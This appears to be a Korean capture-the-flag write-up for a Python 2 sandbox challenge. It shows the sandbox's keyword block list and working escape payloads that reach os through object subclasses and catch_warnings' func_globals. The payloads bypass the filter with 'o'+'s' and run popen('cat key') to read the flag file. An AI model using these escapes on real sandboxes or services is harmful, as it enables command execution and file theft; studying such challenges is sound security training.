다음과 같은 소스가 주어진다.

#!/usr/bin/env python 

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]

while 1:
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data


banned를 빈 리스트([])로 덮어씌우려해도 banned가 금지어라 사용이 불가하고, 모든 builtin 함수나 객체 등이 지워진다.

따라서 object를 직접 사용할 수는 없지만 ().__class__.__bases__[0]를 통해 우회할 수 있다.

또 ().__class__.__bases__[0].__subclasses__()를 이용해 이 시점에서 객체화된 object의 모든 subclass를 접근할 수 있다.

이 subclass중 warning 모듈에 catch_warnings라는 class가 있다.

warning 모듈에서는 linecache를 import하고, linecache 모듈에서는 os를 import하므로, catch_warnings 안에 정의되어 있는 함수의 func_globals를 통해 linecache 함수에 접근할 수 있고, 곧 os 모듈에 접근할 수 있다.  catch_warnings의 함수는 /usr/lib/python2.7/warnings.py 소스를 확인해보면 __init__ 등이 있다.

cw = [x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0]
print cw.__init__.func_globals
# RESULT: {'filterwarnings': XX, ..., 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, ...}
print dir(cw.__init__.func_globals['linecache'])
# RESULT: ['__all__', ..., 'os', 'sys', 'updatecache']
print cw.__init__.func_globals['linecache'].__dict__['os']
# RESULT: <module 'os' from '/usr/lib/python2.7/os.pyc'>

이를 이용해 디렉토리를 확인한 후 key를 읽으면 된다. 다만 os라는 글자는 막혀있으므로 "o"+"s"로 우회한다.


print([x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["o"+"s"].listdir('.'))
# .. .. key ..
print([x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["o"+"s"].popen('cat key','r').read(100))
# flag{definitely_not_intro_python}


※ list를 확인한 뒤 파일을 읽을 때는 object의 subclass중 file class를 이용할 수도 있다.


[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'file'][0]("./key").read()
# flag{definitely_not_intro_python}

+ Recent posts